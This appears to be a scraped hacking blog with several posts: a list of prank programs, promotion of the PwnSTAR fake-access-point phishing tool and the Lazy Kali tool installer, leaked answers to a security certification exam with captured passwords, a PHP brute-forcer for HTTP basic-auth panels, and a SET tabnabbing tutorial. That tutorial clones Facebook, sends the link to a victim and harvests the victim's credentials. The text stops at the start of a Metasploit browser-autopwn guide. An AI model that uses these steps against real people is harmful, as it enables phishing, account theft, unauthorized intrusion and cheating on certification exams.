<a href="http://www.rjlsoftware.com/software/entertainment/popup/download.shtml">Download Popup Prank</a> 
31. Print Me – When you launch Print Me the standard Windows Print dialog appears, no matter which button is pressed a fake print dialog screen displays to the user. 
<a href="http://www.rjlsoftware.com/software/entertainment/printme/download.shtml">Download Print Me</a> 
32. WAV Launcher – This is a hidden program launcher. It will launch a specified program or .wav file at user defined intervals. 
<a href="http://www.rjlsoftware.com/software/entertainment/launcher/download.shtml">Download WAV Launcher</a> 
33. Random Bumper – It is a hidden software program that will play gross burp sounds randomly every minute until closed. 
<a href="http://www.rjlsoftware.com/software/entertainment/burp/download.shtml">Download Random Bumper</a> 
34. ReplaceKeys – ReplaceKeys is a fun little prank that allows you to replace many keyboard keystrokes with different keyboard keystrokes. 
<a href="http://www.rjlsoftware.com/software/entertainment/replacekeys/download.shtml">Download ReplaceKeys</a> 
35. Rotate – Rotate is a desktop manipulator that will randomly flip the desktop into all sorts of weird positions. 
<a href="http://www.rjlsoftware.com/software/entertainment/rotate/download.shtml">Download Rotate</a> 
36. Screen Screw – Screen Screw does just that, it screws with your screen. When you launch Screen Screw it will appear as though your screen has some type of problem painting its colors. 
<a href="http://www.rjlsoftware.com/software/entertainment/screenscrew/download.shtml">Download Screen Screw</a> 
37. Shakedown – Shakedown will take your current desktop and shake it violently, This will not only annoy you to death, but also give your eyes a good strain. 
<a href="http://www.rjlsoftware.com/software/entertainment/shakedown/download.shtml">Download Shakedown</a> 
38. Show – Hide Desktop – Show – Hide Desktop is another fun Windows prank from RJL Software. This prank allows you to configure how often the desktop icons will hide and then show again. 
<a href="http://www.rjlsoftware.com/software/entertainment/showhide/download.shtml">Download Show – Hide Desktop</a> 
39. The Finger – The Finger on an unsuspecting user and watch their reaction when the cursor changes to the middle finger and then back to normal again. 
<a href="http://www.rjlsoftware.com/software/entertainment/finger/download.shtml">Download The Finger</a> 
40. Time Traveler – Time Traveler is a devious little prank that changes the Windows system clock to a random time. To make matters worse, Time Traveler runs invisible in the background performing this task every 30 seconds. 
<a href="http://www.rjlsoftware.com/software/entertainment/traveler/download.shtml">Download Time Traveler</a> 
41. Vista Upgrade Prank – The Vista Upgrade Prank starts by emulating the Windows Update service screen. Clicking the install or cancel button closes the update service window and appears to initiate the Vista Upgrade Advisor. 
<a href="http://www.rjlsoftware.com/software/entertainment/vista/download.shtml">Download Vista Upgrade Prank</a> 
42. Y2K Joke – Y2K is a silly software program that spoofs all of the Y2K issues. It simulates fixing your BIOS, mouse, monitor, and even corrects your calendar problems by changing all letter Ys to letter Ks. 
<a href="http://www.rjlsoftware.com/software/entertainment/y2k/download.shtml">Download Y2K Joke</a> 
 
All of the above links and pranks are completely safe they don't harm/affect your system in anyways .these are purely built for fun application so enjoy have nice time ahead keep smiling

Computer Fake Viruses to Play Pranks On April Fool Day On Friends Pc

Hi all in India we do play lots of pranks with our friends on 1st that is popularly known as April fool day :D. Also its Special In Odisha ...

PwnSTAR: Pwn_SofT_Ap_scRipt For Hacking

It is basically a bash script to launch a Fake AP, configurable with a wide variety of attack options.Includes a number of index.html and server php scripts, for sniffing and phishing.Can act as multi-client captive portal using php and iptables. 
Launches classic exploits such as evil-PDF.An easy way to launch the "best" metasploit modules eg CVE-2013-0422 De-auth with aireplay, airdrop-ng or MDK3. 
 
PwnSTAR.tgz is a bundle containing the current version of the script + all required webpages. 
<a href="https://code.google.com/p/pwn-star/downloads/list">Download Here</a> 
 
Few Top features:- 
 
takes care of configuration of interfaces, macspoofing, airbase-ng and isc-dhcp-server 
steals WPA handshakes 
phishes email credentials 
serves webpages: supplied (eg hotspot, below) or provide your own 
sniffing with ferret and sslstrip 
adds a captive portal to the frontend of the fake AP 
assorted exploits 
de-auth with MDK3, aireplay-ng or airdrop-ng 
Use your imagination, craft your own webpages, and have fun. 
 
Download packege contents. 
"hotspot_3" is a simple phishing web page, used with basic menu option 4. 
"portal_simple" is a captive portal which allows you to edit the index.html with the name of the portal eg "Joe's CyberCafe". It is used for sniffing. 
"portal_hotspot3" phishes credentials, and then allows clients through the portal to the internet. 
"portal_pdf" forces the client to download a malicious pdf in order to pass through the portal. 
Designed for Kali-linux and BackTrack5 ,Current version for Kali is PwnSTAR_0.9. 
 
Installation process:- 
 
It is simple to install and use. download from above link and then follow the screenshot. 
<a class="center" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzqI84yRfvGuSRGGzmPGToxCxr0t2pxEY8njyfxs_WcyX8lMoxvxopdN3D9WE42vEaxvQVs1eWI92Gnvx3lLscObru_mgOyQea6WNYckcnHHuNDM1EI8SXjAJQDKZzDnGZ0GladTn_t1gK/s100/12.png"> 
<img height="399" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzqI84yRfvGuSRGGzmPGToxCxr0t2pxEY8njyfxs_WcyX8lMoxvxopdN3D9WE42vEaxvQVs1eWI92Gnvx3lLscObru_mgOyQea6WNYckcnHHuNDM1EI8SXjAJQDKZzDnGZ0GladTn_t1gK/s1000/12.png" width="750" /> 
</a> 
 
And Main menu is this 
 
<a class="center" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimRS_hV9RoWDeR5DT0F3s1GIfGHX49JOkaY7mtDifWqF0ZzdCl2Zs7yugQr0g9HnFo4UrURyak4dIUhk8OprMV6DbnVgTKHqloexdndrMRr4Ihz1GRTXz1Q-CV9heHbR2ln0KcqKT19_CM/s1600/11.png"> 
<img height="399" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimRS_hV9RoWDeR5DT0F3s1GIfGHX49JOkaY7mtDifWqF0ZzdCl2Zs7yugQr0g9HnFo4UrURyak4dIUhk8OprMV6DbnVgTKHqloexdndrMRr4Ihz1GRTXz1Q-CV9heHbR2ln0KcqKT19_CM/s1000/11.png" width="750" /> 
</a> 
 
Keep checking darksite.co.in for upcoming tutorial on PwnSTAR.

PwnSTAR: Pwn_SofT_Ap_scRipt For Hacking

It is basically a bash script to launch a Fake AP, configurable with a wide variety of attack options.Includes a number of index.html and se...

Lazy Kali Script for Kali Linux Must have

Hi all today i am going tell you about bash script that helps you in kali linux to handle many software updation in simple manner. 
Lazy kali is just a simple bash script that makes you feel lazy and helps in better way to Adds quite a few tools to Kali Linux. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmui6V4PdR8o_Q2NJIMFN2ScgY_nWTxf-DHTbjIZVdylOGiCkp20wKsbeQ_S4BqOOxOnKFtPodoZjPbmZ2NdXK1h-r_YC0W_u3bbsIZYPFOACKJFcLjiaMIK6C85IWxThDgVW0DsWGCWHm/s1600/lazy+kali.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmui6V4PdR8o_Q2NJIMFN2ScgY_nWTxf-DHTbjIZVdylOGiCkp20wKsbeQ_S4BqOOxOnKFtPodoZjPbmZ2NdXK1h-r_YC0W_u3bbsIZYPFOACKJFcLjiaMIK6C85IWxThDgVW0DsWGCWHm/s400/lazy+kali.png" /></a></div>Here are the list of tool that you can add using lazy kali with current version. 
Adds quite a few tools to Kali Linux. 
<li>Bleeding Edge Repos 
<li>AngryIP Scanner 
<li>Terminator 
<li>Xchat 
<li>Unicornscan 
<li>Nautilus Open Terminal 
<li>Simple-Ducky 
<li>Subterfuge 
<li>Ghost-Phisher 
<li>Yamas 
<li>PwnStar 
<li>Ettercap0.7.6 
<li>Xssf 
<li>Smbexec 
<li>Flash 
<li>Java 
<li>Easy-Creds... and more! 
 
Lazy-Kali will also update Kali, Start Metaploit Services, Start Stop And Update Open-Vas. This is the first version, script is self updating so more will be added in a short time. Will try to add requested features. 
 
You can download lazy kali from <a href="https://code.google.com/p/lazykali/downloads/detail?name=lazykali.sh&can=2&q=">this link</a> 
You will get the file with the name lazykali.sh. Now to install follow the screen shot. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrZVkSpG_bvspgglpGIiOFWjIPob32WYRqWDCj1v9VWrZJ_YsBWFPJ8kaelX6HiHP8mxC7D_BaONeE9DpbkPLEaDNJNlsHy-kEZIdBmqKC6899cJOOO1h2cfrmr7j3YHY8rWfT4Y4Uhi-Z/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrZVkSpG_bvspgglpGIiOFWjIPob32WYRqWDCj1v9VWrZJ_YsBWFPJ8kaelX6HiHP8mxC7D_BaONeE9DpbkPLEaDNJNlsHy-kEZIdBmqKC6899cJOOO1h2cfrmr7j3YHY8rWfT4Y4Uhi-Z/s400/4.png" /></a></div>if the script is not installed it may prompt you to install. Type Y to install the script. 
Once that is done you will see manu as shown in first screen shot. 
 
there you go you can select update kali Option 1 to update your kali linux. 
just like if you select option 5 (sniffing/spoofing) then you can see this menu. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAy9DDdtp_4Nye4MBuUlZVaaeZDg_0a6FYD6iHi6NQmBDZL1x4ZI4d8-pykT7PHm-FnIJA0jEJ_lg_bKkgpYEkg8soZz8uyQkNBU4YRI_1sSX99hS7hLspnLUbZHGJa-cUvxQ_8Mg03yHt/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAy9DDdtp_4Nye4MBuUlZVaaeZDg_0a6FYD6iHi6NQmBDZL1x4ZI4d8-pykT7PHm-FnIJA0jEJ_lg_bKkgpYEkg8soZz8uyQkNBU4YRI_1sSX99hS7hLspnLUbZHGJa-cUvxQ_8Mg03yHt/s400/2.png" /></a></div>if you select installing extra options 6 then this screen will show up. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-I_MUTkSHSf2Nn_gqOEvh_AmG1aJskQUZPxc8NIsTEbIK52aoRl6aGwYn8-SAhiH9zwuq5KArwnETv5uRbc4Taj4ekYeKxNiAW8u6toyVFQu7hvBhieDS3booGtX3UO-51Ujo8AyOQOh2/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-I_MUTkSHSf2Nn_gqOEvh_AmG1aJskQUZPxc8NIsTEbIK52aoRl6aGwYn8-SAhiH9zwuq5KArwnETv5uRbc4Taj4ekYeKxNiAW8u6toyVFQu7hvBhieDS3booGtX3UO-51Ujo8AyOQOh2/s400/1.png" /></a></div>Hope this will make you lazy on kali and have fun. 
Thanks for reading .

Lazy Kali Script for Kali Linux Must have

Hi all today i am going tell you about bash script that helps you in kali linux to handle many software updation in simple manner. Lazy kal...

Innobuzz CISE (Certified Information Security Expert) Exam Question Answer

<div dir="ltr" style="text-align: left;" trbidi="on">
Hi Everyone Here is the post that most people google for. 
funnily i have given cise exam for multiple time for some of my friends. so lets not waste the time 
directly go into question .so i am skipping the register for exam and other bla bla bla part. 
 
Note: This Q/A we published after taking permission from Innobuzz and these questions are changed now. 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTdA2wWDsBLCFrrPVFPL55a9rpiUhJUJFmn_H2W0f5pKzei2jBi_PyYXXU-it6Qxv3NOAKyI8f4kNKTuI5R8f-aVU44LnSIRvty5tyRrjkCtbV0C35ebRclEWa6_NSK5-5mkDj-BAnE8NB/s1600/cise.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTdA2wWDsBLCFrrPVFPL55a9rpiUhJUJFmn_H2W0f5pKzei2jBi_PyYXXU-it6Qxv3NOAKyI8f4kNKTuI5R8f-aVU44LnSIRvty5tyRrjkCtbV0C35ebRclEWa6_NSK5-5mkDj-BAnE8NB/s400/cise.jpg" /></a></div>
come to question and answer. 
1)Enter Administrative Contact Mail Address of innobuzz.in 
 
Asnwer:- Its very simple go to who.is and search for innobuzz.in and the answer will show you on search result. 
that is innobuzz.control@gmail.com 
 
2)Enter Domain name Starting with "S" hosted on same server innobuzz.in. 
 
Asnwer:- Again this can be solve via online easily <a href="http://www.yougetsignal.com/tools/web-sites-on-web-server/">Yougetsignal</a> and the answer is www.secfence.com . 
 
3)Enter Exact name of service running on port number 21 of innobuzz.in. 
 
Answer :- This Answer can easily Find out by using nmap.if u are on backtrack then you can use this simple command on terminal. 
 
nmap -A innobuzz.in and you will see the answer on scan result. 
 
the answer is Pure-FTPd 
 
4)Here is one of the funny question The Password is being sent on http header. catch it and enter bewlow. 
 
Answer:-You can easily see by using mozilla live header addons. 
 
And The Answer is ADMIN@123. 
 
5) Here comes the final one again good one.Enter the password. 
 
Answer:-you just need to view source(ctrl+u) you will see some thing like this on green color "cDQ1c3dyMGQyIyRAIQ==" 
 
now this is a base 64 encodeed one you can easily decode with some online site like <a href="http://www.base64decode.org/">http://www.base64decode.org</a>. 
 
The answer will be p45swr0d2#$@! 
 
i believe this exam was easy yes. after submitting answer you will get a code which you need to submit at innobuzz portal. 
after which you will get CISE certificate. 
 
Please Do comment if you have faced have questions also you can add new questions if you get during exam . 
Find screen shot here 
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfh3-8oqdPTWSiCrXhaDkik3NFVveCXE_zhjJfKRX5VhVltZ2WRjKlVwaacjwe6Xbvbh1LlYq1t7maI2MFx-W5UqMzM71Ip8wLR-HY7hAsbqABitgtLurQd7bgRFsVl6cHW4GbIm5HcJ_-/s1600/1.jpg" imageanchor="1"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfh3-8oqdPTWSiCrXhaDkik3NFVveCXE_zhjJfKRX5VhVltZ2WRjKlVwaacjwe6Xbvbh1LlYq1t7maI2MFx-W5UqMzM71Ip8wLR-HY7hAsbqABitgtLurQd7bgRFsVl6cHW4GbIm5HcJ_-/s320/1.jpg" /></a> 
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjtwwnudVoenMpTNZhrzjwHMFPSpPXdEmx7Q3gOHBgO6yoJZ_B2Az2LO6g7jlOE7v2VKJjktCqyXIbgJ5QbSFbnnDMl9VZ5xCeMShnqUuZzIdTnsyLOczlAJUIWsAHmRyauJGFsm8jNPx-/s1600/2.jpg" imageanchor="1"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjtwwnudVoenMpTNZhrzjwHMFPSpPXdEmx7Q3gOHBgO6yoJZ_B2Az2LO6g7jlOE7v2VKJjktCqyXIbgJ5QbSFbnnDMl9VZ5xCeMShnqUuZzIdTnsyLOczlAJUIWsAHmRyauJGFsm8jNPx-/s320/2.jpg" /></a> 
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9vheW9KygHQHzMlE8EVjSQJYxSNbauR83X-hU0f3Qu1RyaUYsp7lzemndmAcRJ1imCXCnCKk2YdHA8bwQL5Vsq2j3klLMxcfHkOfUV0zVnll821iWkWL4uL0XpRTtu9SvraO7tsuaVRmC/s1600/3.jpg" imageanchor="1"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9vheW9KygHQHzMlE8EVjSQJYxSNbauR83X-hU0f3Qu1RyaUYsp7lzemndmAcRJ1imCXCnCKk2YdHA8bwQL5Vsq2j3klLMxcfHkOfUV0zVnll821iWkWL4uL0XpRTtu9SvraO7tsuaVRmC/s320/3.jpg" /></a> 
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMzvCGsa22bw3aeSoX3X7j50Inwolb-NeNhRxBBG6PUh0cHoHbAN9DGHH8pN4_eTYYkTwo9yGIE6lDtQygTSvhAq_rxHhu10kf-IHiamLLE1nTC6geiE5bupNBVFxblUNzwgmoqfYzPLk5/s1600/4.jpg" imageanchor="1"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMzvCGsa22bw3aeSoX3X7j50Inwolb-NeNhRxBBG6PUh0cHoHbAN9DGHH8pN4_eTYYkTwo9yGIE6lDtQygTSvhAq_rxHhu10kf-IHiamLLE1nTC6geiE5bupNBVFxblUNzwgmoqfYzPLk5/s320/4.jpg" /></a> 
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6g2T9PpAwWO3yRshwF5F-h9iH65hyphenhyphenVmD4gfMHRKwceBnYWRfk0S58a38_9O6dIbH3RzU8ahgqEdCT_ha1AyZ23M5yeSSu0FLDd4IGBPtEwygPAwB1loMIOA6QcoNTTRcVnUCAPr0T_HCh/s1600/5Ans.jpg" imageanchor="1"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6g2T9PpAwWO3yRshwF5F-h9iH65hyphenhyphenVmD4gfMHRKwceBnYWRfk0S58a38_9O6dIbH3RzU8ahgqEdCT_ha1AyZ23M5yeSSu0FLDd4IGBPtEwygPAwB1loMIOA6QcoNTTRcVnUCAPr0T_HCh/s320/5Ans.jpg" /></a> 
 
Please Do comment if you like this or want more post on any topic. 
 
Thanks for visiting. 
 
 
 </div>

Innobuzz CISE (Certified Information Security Expert) Exam Question Answer

Hi Everyone Here is the post that most people google for. funnily i have given cise exam for multiple time for some of my friends. so lets...

PHP Script For Cracking http Basic Authentication

hi in this post i am again sharing article of one of my very nice friend <a href="http://www.mannulinux.org/">manish</a> this php shell helps in cracking http basic authentication password cracking.now lets come to the real topic what exactly basic auth. 
<div class="center"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQ5QZ_gw1g2A0DVqsNJ5A_vynb86cjioz1ijR97HxWPlykpJqzJka-si1XLoA6IeKLpt_1LJrj_jwcm4mY4_PLarmorVhMQW3NY4GJq3Mz6X33FaC7eKqi4BrwVvFj5EYfyAqn5WnZT6I/s1600/http4.png"> 
<img height="399" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQ5QZ_gw1g2A0DVqsNJ5A_vynb86cjioz1ijR97HxWPlykpJqzJka-si1XLoA6IeKLpt_1LJrj_jwcm4mY4_PLarmorVhMQW3NY4GJq3Mz6X33FaC7eKqi4BrwVvFj5EYfyAqn5WnZT6I/s800/http4.png" width="620" /> 
</a> 
Http Basic Auth Cracker PHP Script 
</div> 
so in order to perform HTTP transaction(request- response), basic access authentication is a method for an HTTP user agent to provide a user name and password when making a request.after providing correct user id and password when it is asked. 
 
<div class="center"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFjb166gjvGsyUf3mfAe2kJEZ7ePcLdCtwk-639Y8VaYLWIbebYCzeS2VFXS5t2beqrYJ8rDNU5iOEpftyYs6t4QDQHqUp3cdv-PdbMOI_CNdivi7fssIYh5VByrH7h-SpMaC_THwCvRE/s1600/http3.png"> 
<img height="199" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFjb166gjvGsyUf3mfAe2kJEZ7ePcLdCtwk-639Y8VaYLWIbebYCzeS2VFXS5t2beqrYJ8rDNU5iOEpftyYs6t4QDQHqUp3cdv-PdbMOI_CNdivi7fssIYh5VByrH7h-SpMaC_THwCvRE/s600/http3.png" width="320" /> 
</a> 
Basic Auth Prompt 
</div> 
it will allow you to do the http request.so our objective here is how we can break it or get the correct user id and password 
so we can do it with the help of php script and brute force attack. 
you can brute force any panel which is using basic authentication using this script 
 
<a href="http://www.mediafire.com/download/3fa25np8nmflmxd/http.php"> 
download link here</a> 
 
Procedure is very simple 
 
you need to supply link where htaccess is implemented , username list and password list 
 
<div class="center"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxq0Bl-Djt8Ygy1MCn1mfYZKdi2VGciRcHF4TkIg2p3tCEqUaB1irZ52ievSJhLLYeUqz-9En-BsT8yVUl8fczF4EJK01CWaskIIbHJOyC8dIbIpvvXy2K4JtEpIJoyrRNBz9pP493TYo/s1600/http.png"> 
<img height="399" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxq0Bl-Djt8Ygy1MCn1mfYZKdi2VGciRcHF4TkIg2p3tCEqUaB1irZ52ievSJhLLYeUqz-9En-BsT8yVUl8fczF4EJK01CWaskIIbHJOyC8dIbIpvvXy2K4JtEpIJoyrRNBz9pP493TYo/s1600/http.png" width="620" /> 
</a> 
provide possible username and password list 
</div> 
and click "lets hex this shit" button 
if password is weak or in your password list, you will get success message like this 
 
<div class="center"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjccN1YdAdi_A8ZTMd6NcyWpjJVI8Lpv1ngPilXWOusixZooCW6LCkOXzKBdpO5nQojWGVuwq5YguI15xBuzY61dH2bFnL3AwsFgaMphPYJGXpdQX3fMb9ob1J0YM8JZ-RjHcC7-ISg8i4/s1600/http2.png"> 
<img height="399" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjccN1YdAdi_A8ZTMd6NcyWpjJVI8Lpv1ngPilXWOusixZooCW6LCkOXzKBdpO5nQojWGVuwq5YguI15xBuzY61dH2bFnL3AwsFgaMphPYJGXpdQX3fMb9ob1J0YM8JZ-RjHcC7-ISg8i4/s1600/http2.png" width="620" /> 
</a> 
Cracked Successfully :) 
</div> 
enjoy :) 
with love from Team IndiShell 
if you have any problem regarding this script , you can message manish on facebook 
http://facebook.com/manish1046 
 
it work very nice you should definitely give a try :) if u encounter http basic auth somewhere :).

PHP Script For Cracking http Basic Authentication

hi in this post i am again sharing article of one of my very nice friend manish this php shell helps in cracking http basic authentication ...

Tabnabbing Attack with social Engineering toolkit on Backtrack | kali

Hi everyone here is the post that basically explain about very fundamental attack known to be tab nabbing attack.the attack is very simple again you sent an link to the victim he/she click on it and redirected to your desired login page which looks like original and the after putting his/her credentials you get that in no time . 
so lets do this with social engineering toolkit as here more social engineering trick is very necessary . 
So before doing all do check your own BT/Kali System IP address by typing ifconfig command. 
then Open Your Backtrack terminal and Type cd /pentest/exploits/set 
Now Open Social Engineering Toolkit (SET) ./set 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8mOCeh6T49bOGwtiZujht1oA12Rg7bDtIoMh2sHliLfnJO-2NfErxGQPetMnjX0w-kJTbsfdIkiqXtEgNATLykrZxlYkROjNvyRF9dvNAMSmqpYl37FhoWuzWP146-RLb03JvtFsOgJhw/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8mOCeh6T49bOGwtiZujht1oA12Rg7bDtIoMh2sHliLfnJO-2NfErxGQPetMnjX0w-kJTbsfdIkiqXtEgNATLykrZxlYkROjNvyRF9dvNAMSmqpYl37FhoWuzWP146-RLb03JvtFsOgJhw/s720/1.png" /></a></div>after that choose social engineering attack that is option 1 and then choose option 2, “Website Attack Vectors”. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXXnvQM1rOT8QcacsgxOq08vMrzbiVjdLmvby4Ebwj_f_hrh24i5oDySrfTWUQsBmOhaMvrJvZ1Bb_zBsl-hmcrFi1RKYzQHPTgg1w2QT5CRTUUqMThZW2RageZa0DiEAlbXOAZ-tYunLS/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXXnvQM1rOT8QcacsgxOq08vMrzbiVjdLmvby4Ebwj_f_hrh24i5oDySrfTWUQsBmOhaMvrJvZ1Bb_zBsl-hmcrFi1RKYzQHPTgg1w2QT5CRTUUqMThZW2RageZa0DiEAlbXOAZ-tYunLS/s520/2.png" /></a></div>a list of options will be populated you have to select option 4 “Tabnabbing Attack Method”. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyynYd_9GCyeMDOl0b0hf-IMfWMlMn45py7x8ORMFu510M7kKTjL9yedvj7vEcbnk4urT99hMRHwDYxoT9JJn_iOB0x4NOXQKD3Q4Yj6lHSOm4uW33FVtmUFT2iV5OsN7Pm3prYhJgB1zM/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyynYd_9GCyeMDOl0b0hf-IMfWMlMn45py7x8ORMFu510M7kKTjL9yedvj7vEcbnk4urT99hMRHwDYxoT9JJn_iOB0x4NOXQKD3Q4Yj6lHSOm4uW33FVtmUFT2iV5OsN7Pm3prYhJgB1zM/s520/3.png" /></a></div>next choose option 2 “Site Cloner”. 
it will ask for your system ip which you can give that you got from ifconfig (your backtrack machine ip) 
Then Enter the URL of the site you want to clone. In this case http://www.facebook.com and hit enter. SET will clone up the web site. And press return to continue. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPr-T2k0wOCGp2LOn9_tSipWfdFyGWfk6M7Iam6Zt1Tq7Hi1kixJATeqMG3wz75m77kjVjou5d5kcmykAZk6kGCRB-M95AP7_zUZ4cbtkk2eDgS5Dvdr_dy08FrNYvZSx9LJ5kSsAweP6u/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPr-T2k0wOCGp2LOn9_tSipWfdFyGWfk6M7Iam6Zt1Tq7Hi1kixJATeqMG3wz75m77kjVjou5d5kcmykAZk6kGCRB-M95AP7_zUZ4cbtkk2eDgS5Dvdr_dy08FrNYvZSx9LJ5kSsAweP6u/s520/5.png" /></a></div>Now convert your URL into Google URL using goo.gl and send this link address to your victim via Email or Chat or any other social way you can make it reach to victim. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHX5huRp5OrW-sQ3bCw9pqvykPX2ACAXGrr9YyJoEwn7QcvgZzEM6HVjcgvbODu5hmaCQHJobjcU6t0b48a0YF6N_63GnJ46wZtbddX_prk0qPvjhS_TeLqCyzWcV81MqAA_nC59fm5wND/s1600/7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHX5huRp5OrW-sQ3bCw9pqvykPX2ACAXGrr9YyJoEwn7QcvgZzEM6HVjcgvbODu5hmaCQHJobjcU6t0b48a0YF6N_63GnJ46wZtbddX_prk0qPvjhS_TeLqCyzWcV81MqAA_nC59fm5wND/s520/7.png" /></a></div>When victim open in their browser it should be a message that the page is still loading. so victim start to open another tab. As soon as victim open new tab, our fake website start working. That script will redirect the victim to the phishing page your derived. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnMlmpIRhfnDnHM7CGWvWsmMY3IehCgTqzLAX_U6ki3w6T54pbokySoARQdGXaxbs90Y8VjEY7WdbpES-gGROYCn-tIwtDLjPX1XkJsXLmAH8_224xCdb67VylB3rOg52aAn4TYSgy3XRb/s1600/8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnMlmpIRhfnDnHM7CGWvWsmMY3IehCgTqzLAX_U6ki3w6T54pbokySoARQdGXaxbs90Y8VjEY7WdbpES-gGROYCn-tIwtDLjPX1XkJsXLmAH8_224xCdb67VylB3rOg52aAn4TYSgy3XRb/s520/8.png" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv47HfRzZX5REPWkHXVb_cpMVSGCu-bCrUUHDCMDWxXHn-m-a5oK4sNS7Q-vPLcNCOip_pKKVHN39WQNevX2peYFfQRHkJapN9oVMnJtSLx2PV5eXG3ASqgOZjDzbU01L9-gOEhIqUpwly/s1600/9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv47HfRzZX5REPWkHXVb_cpMVSGCu-bCrUUHDCMDWxXHn-m-a5oK4sNS7Q-vPLcNCOip_pKKVHN39WQNevX2peYFfQRHkJapN9oVMnJtSLx2PV5eXG3ASqgOZjDzbU01L9-gOEhIqUpwly/s320/9.png" /></a></div>here yyou goes these are the user id and password of the victim :D. 
be safe keep hacking :).

Tabnabbing Attack with social Engineering toolkit on Backtrack | kali

Hi everyone here is the post that basically explain about very fundamental attack known to be tab nabbing attack.the attack is very simple a...

Hack Remote Windows 7 | XP PC With Metasploit (Browser Auto Pwn Vulnerability)

Hi all this is one of the popular attack know as browser auto pwn Vulnerability which we are going to use in this tutorial. 
This is a simple vulnerability that allow attacker to hack to remote machine just by a single click by the victim. 
-::Using Metasploit::- 
in metasploit there is a module known as browser autopwn.The basic idea behind that module is that it creates a web server in our local machine which will contain different kind of browser exploits.When the user will open the malicious link then the execution of the exploits will start against the browser of the user and if one of the exploits is successful a meterpreter session will open. 
 
follow these steps to carry out the attack. 
open you backtrack/kali terminal make sure metasploit is there (which is present by default :D ). 
type #msfconsole on terminal 
